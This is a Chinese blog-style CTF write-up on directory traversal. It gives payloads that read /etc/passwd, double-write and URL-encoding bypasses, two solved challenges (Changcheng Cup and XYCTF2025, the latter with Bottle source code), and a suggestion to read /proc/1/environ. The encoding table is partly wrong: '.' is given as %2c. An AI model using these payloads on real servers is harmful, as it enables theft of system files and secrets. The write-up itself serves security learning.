目录穿越

目录穿越


写在前面


最近被各种各样的目录穿越恶心到了,所以写了这篇文章来总结一下目录穿越和遇到的题目

思路


构造:

1
2
3
4
5
6
7
8
9
正常 : /download?filename=../../../etcpasswd

双写绕../ : /download?filename=…//…//…///etc/passwd

URL编码(双重) :
. => %2c
/ => %2f
% => %25 (双重URL编码)


收集的例题(遇到会继续写):


第二届“长城杯”铁人三项赛 (防护赛)初赛


alt text

发现 ../hackme.php

文件包含 ../hackme.php

但访问不到

有过滤 尝试绕过过滤

可以双写然后绕过过滤….//hackme.php

http://eci-2zef3sej7rworr0h35d8.cloudeci1.ichunqiu.com/index.php?file=....//hackme.php


XYCTF2025


源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# -*- encoding: utf-8 -*-
'''
@File : main.py
@Time : 2025/03/28 22:20:49
@Author : LamentXU
'''
'''
flag in /flag_{uuid4}
'''
from bottle import Bottle, request, response, redirect, static_file, run, route
with open('../../secret.txt', 'r') as f:
secret = f.read()

app = Bottle()
@route('/')
def index():
return '''HI'''
@route('/download')
def download():
name = request.query.filename
if '../../' in name or name.startswith('/') or name.startswith('../') or '\\' in name:
response.status = 403
return 'Forbidden'
with open(name, 'rb') as f:
data = f.read()
return data

@route('/secret')
def secret_page():
try:
session = request.get_cookie("name", secret=secret)
if not session or session["name"] == "guest":
session = {"name": "guest"}
response.set_cookie("name", session, secret=secret)
return 'Forbidden!'
if session["name"] == "admin":
return 'The secret has been deleted!'
except:
return "Error!"
run(host='0.0.0.0', port=8080, debug=False)




读取部分的pyaload:

http://gz.imxbt.cn:20309/download?filename=./.././../secret.txt


写在后面


有时候不一定要硬着绕过,尝试别的办法,比如去读环境变量/proc/1/environ等